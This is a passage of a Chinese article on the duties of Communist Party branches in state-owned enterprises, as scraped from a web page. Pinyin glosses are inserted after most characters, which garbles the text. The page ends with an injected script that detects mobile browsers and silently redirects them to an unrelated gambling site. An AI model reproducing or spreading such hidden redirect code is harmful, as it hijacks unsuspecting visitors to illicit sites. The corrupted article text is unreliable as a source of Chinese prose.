即要(yao)“做好(hao)党(dang)(dang)(dang)(dang)员(yuan)(yuan)教育、管理、监(jian)督、服务和(he)发(fa)展党(dang)(dang)(dang)(dang)员(yuan)(yuan)工(gong)作(zuo),严(yan)格(ge)党(dang)(dang)(dang)(dang)的(de)(de)组织生活,组织党(dang)(dang)(dang)(dang)员(yuan)(yuan)创先争优(you),充分发(fa)挥党(dang)(dang)(dang)(dang)员(yuan)(yuan)先锋(feng)模范作(zuo)用”。国有(you)企业(ye)(ye)党(dang)(dang)(dang)(dang)支(zhi)部(党(dang)(dang)(dang)(dang)总(zong)(zong)支(zhi))以及内设(she)机(ji)构中设(she)立的(de)(de)党(dang)(dang)(dang)(dang)委要(yao)按照控制总(zong)(zong)量、优(you)化(hua)结构、提高(gao)质量、发(fa)挥作(zuo)用的(de)(de)发(fa)展党(dang)(dang)(dang)(dang)员(yuan)(yuan)总(zong)(zong)要(yao)求,坚持把党(dang)(dang)(dang)(dang)的(de)(de)政(zheng)治(zhi)建设(she)摆在首位(wei),注重从生产经(jing)营(ying)一线(xian)、优(you)秀(xiu)人(ren)才中发(fa)展党(dang)(dang)(dang)(dang)员(yuan)(yuan);要(yao)坚持集中教育和(he)经(jing)常(chang)性(xing)教育相(xiang)结合(he),做好(hao)国有(you)企业(ye)(ye)党(dang)(dang)(dang)(dang)员(yuan)(yuan)教育管理各项工(gong)作(zuo),展现和(he)保持国有(you)企业(ye)(ye)党(dang)(dang)(dang)(dang)员(yuan)(yuan)新气(qi)象新面貌;要(yao)强化(hua)对党(dang)(dang)(dang)(dang)员(yuan)(yuan)履(lv)行义务、履(lv)职尽责的(de)(de)监(jian)督;要(yao)注重建立党(dang)(dang)(dang)(dang)内激励关怀(huai)帮扶机(ji)制,让每一位(wei)党(dang)(dang)(dang)(dang)员(yuan)(yuan)都能够感受到组织的(de)(de)温(wen)暖、体会到组织的(de)(de)关心(xin)关爱,从而发(fa)自肺腑地真正把组织当亲人(ren)、当“娘家人(ren)”。

(四)群(qun)众(zhong)工作(zuo)方(fang)面的职责(ze)

即要(yao)“密(mi)切(qie)联(lian)系(xi)职(zhi)(zhi)工(gong)群(qun)(qun)(qun)(qun)众(zhong)(zhong),推动解决(jue)职(zhi)(zhi)工(gong)群(qun)(qun)(qun)(qun)众(zhong)(zhong)合理诉求,认真做好思想政治工(gong)作(zuo)。领(ling)(ling)导本单(dan)位工(gong)会、共(gong)青团(tuan)(tuan)、妇女组(zu)织(zhi)等(deng)群(qun)(qun)(qun)(qun)团(tuan)(tuan)组(zu)织(zhi),支(zhi)(zhi)(zhi)持它们依照各(ge)自(zi)章程独立(li)负责(ze)地(di)开展(zhan)(zhan)工(gong)作(zuo)”。这具体表现在两个方面:一是在职(zhi)(zhi)工(gong)群(qun)(qun)(qun)(qun)众(zhong)(zhong)的(de)个体层面,国(guo)有企业(ye)党(dang)支(zhi)(zhi)(zhi)部(党(dang)总支(zhi)(zhi)(zhi))以及内(nei)(nei)设机构中设立(li)的(de)党(dang)委(wei)要(yao)坚持党(dang)的(de)群(qun)(qun)(qun)(qun)众(zhong)(zhong)路线,从(cong)组(zu)织(zhi)群(qun)(qun)(qun)(qun)众(zhong)(zhong)、宣传群(qun)(qun)(qun)(qun)众(zhong)(zhong)、凝聚群(qun)(qun)(qun)(qun)众(zhong)(zhong)、服务群(qun)(qun)(qun)(qun)众(zhong)(zhong)入手,关注每个职(zhi)(zhi)工(gong)群(qun)(qun)(qun)(qun)众(zhong)(zhong)的(de)利益诉求,最(zui)大程度地(di)保(bao)证职(zhi)(zhi)工(gong)群(qun)(qun)(qun)(qun)众(zhong)(zhong)的(de)物质所得、精(jing)神舒畅(chang)、进步空间。二是在职(zhi)(zhi)工(gong)群(qun)(qun)(qun)(qun)众(zhong)(zhong)的(de)群(qun)(qun)(qun)(qun)体层面,国(guo)有企业(ye)党(dang)支(zhi)(zhi)(zhi)部(党(dang)总支(zhi)(zhi)(zhi))以及内(nei)(nei)设机构中设立(li)的(de)党(dang)委(wei)要(yao)通过(guo)领(ling)(ling)导工(gong)会、共(gong)青团(tuan)(tuan)、妇联(lian)等(deng)群(qun)(qun)(qun)(qun)团(tuan)(tuan)组(zu)织(zhi),保(bao)持与各(ge)种群(qun)(qun)(qun)(qun)众(zhong)(zhong)团(tuan)(tuan)体、群(qun)(qun)(qun)(qun)众(zhong)(zhong)组(zu)织(zhi)、群(qun)(qun)(qun)(qun)众(zhong)(zhong)群(qun)(qun)(qun)(qun)体的(de)紧密(mi)关系(xi),使群(qun)(qun)(qun)(qun)团(tuan)(tuan)组(zu)织(zhi)成为(wei)企业(ye)党(dang)组(zu)织(zhi)加强与不同群(qun)(qun)(qun)(qun)体群(qun)(qun)(qun)(qun)众(zhong)(zhong)联(lian)系(xi)沟(gou)通不可(ke)或缺的(de)桥梁(liang)和纽带(dai);要(yao)坚持党(dang)建(jian)带(dai)群(qun)(qun)(qun)(qun)建(jian),推动企业(ye)群(qun)(qun)(qun)(qun)团(tuan)(tuan)组(zu)织(zhi)带(dai)领(ling)(ling)各(ge)自(zi)所联(lian)系(xi)的(de)群(qun)(qun)(qun)(qun)众(zhong)(zhong)围绕企业(ye)改革发展(zhan)(zhan)、生产经(jing)营(ying)、和谐稳定建(jian)功立(li)业(ye)。

(五)履行监督的职责

即要(yao)“监(jian)督党(dang)(dang)员(yuan)、干部和(he)企业(ye)(ye)(ye)其(qi)他工作人员(yuan)严格遵守国家法律法规(gui)、企业(ye)(ye)(ye)财(cai)经人事制度,维(wei)护国家、集(ji)(ji)体(ti)和(he)群众的利(li)益”。权(quan)(quan)力(li)失去(qu)了监(jian)督制约,就很(hen)容易导致腐败。国有企业(ye)(ye)(ye)党(dang)(dang)支部(党(dang)(dang)总支)以及(ji)内设机构中(zhong)设立(li)的党(dang)(dang)委要(yao)切实把该担负(fu)的监(jian)督职责担负(fu)起来,通过落实党(dang)(dang)员(yuan)监(jian)督权(quan)(quan)强化对企业(ye)(ye)(ye)领(ling)导干部、主(zhu)管(guan)人财(cai)物(wu)等(deng)关键岗(gang)位(wei)和(he)关键领(ling)域(yu)人员(yuan)行使(shi)权(quan)(quan)力(li)的监(jian)督制约,强化对权(quan)(quan)力(li)集(ji)(ji)中(zhong)、资(zi)(zi)金(jin)密集(ji)(ji)、资(zi)(zi)源(yuan)富集(ji)(ji)、资(zi)(zi)产聚集(ji)(ji)的重点部门和(he)单位(wei)的监(jian)督,就能(neng)够在很(hen)大(da)程度上防止权(quan)(quan)力(li)失控(kong)、权(quan)(quan)力(li)腐败。

(六)反(fan)映情况的职责

即要(yao)“实(shi)事(shi)求(qiu)是对(dui)党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)建(jian)设(she)、党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)工(gong)(gong)(gong)(gong)作提(ti)出意见建(jian)议(yi)(yi),及(ji)时(shi)向(xiang)上级党(dang)(dang)(dang)(dang)组(zu)织报告重要(yao)情(qing)况。按(an)照规定(ding)向(xiang)党(dang)(dang)(dang)(dang)员、群众(zhong)通报党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)工(gong)(gong)(gong)(gong)作情(qing)况”。对(dui)上,国(guo)有(you)企(qi)(qi)业党(dang)(dang)(dang)(dang)支(zhi)(zhi)部(bu)(党(dang)(dang)(dang)(dang)总支(zhi)(zhi))以及(ji)内(nei)设(she)机构中设(she)立的(de)(de)(de)(de)党(dang)(dang)(dang)(dang)委要(yao)对(dui)党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)建(jian)设(she)、党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)工(gong)(gong)(gong)(gong)作提(ti)出意见建(jian)议(yi)(yi),向(xiang)上级党(dang)(dang)(dang)(dang)组(zu)织报告情(qing)况;对(dui)下,国(guo)有(you)企(qi)(qi)业党(dang)(dang)(dang)(dang)支(zhi)(zhi)部(bu)(党(dang)(dang)(dang)(dang)总支(zhi)(zhi))以及(ji)内(nei)设(she)机构中设(she)立的(de)(de)(de)(de)党(dang)(dang)(dang)(dang)委要(yao)按(an)规定(ding)向(xiang)党(dang)(dang)(dang)(dang)员、群众(zhong)通报党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)工(gong)(gong)(gong)(gong)作情(qing)况。国(guo)有(you)企(qi)(qi)业党(dang)(dang)(dang)(dang)支(zhi)(zhi)部(bu)(党(dang)(dang)(dang)(dang)总支(zhi)(zhi))以及(ji)内(nei)设(she)机构中设(she)立的(de)(de)(de)(de)党(dang)(dang)(dang)(dang)委要(yao)以对(dui)党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)事(shi)业、党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)建(jian)设(she)高度负责的(de)(de)(de)(de)精神,如实(shi)向(xiang)上级党(dang)(dang)(dang)(dang)组(zu)织报告情(qing)况、反映问题,以推(tui)动(dong)党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)工(gong)(gong)(gong)(gong)作质(zhi)量不断提(ti)升。否则,就是将自己置(zhi)身度外,就是做党(dang)(dang)(dang)(dang)的(de)(de)(de)(de)事(shi)业的(de)(de)(de)(de)旁观者和局(ju)外人(ren)。

【作者系中共(gong)山(shan)东省(sheng)委党校(山(shan)东行政(zheng)学院)党建教(jiao)研部教(jiao)授 张书林】

分享:
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();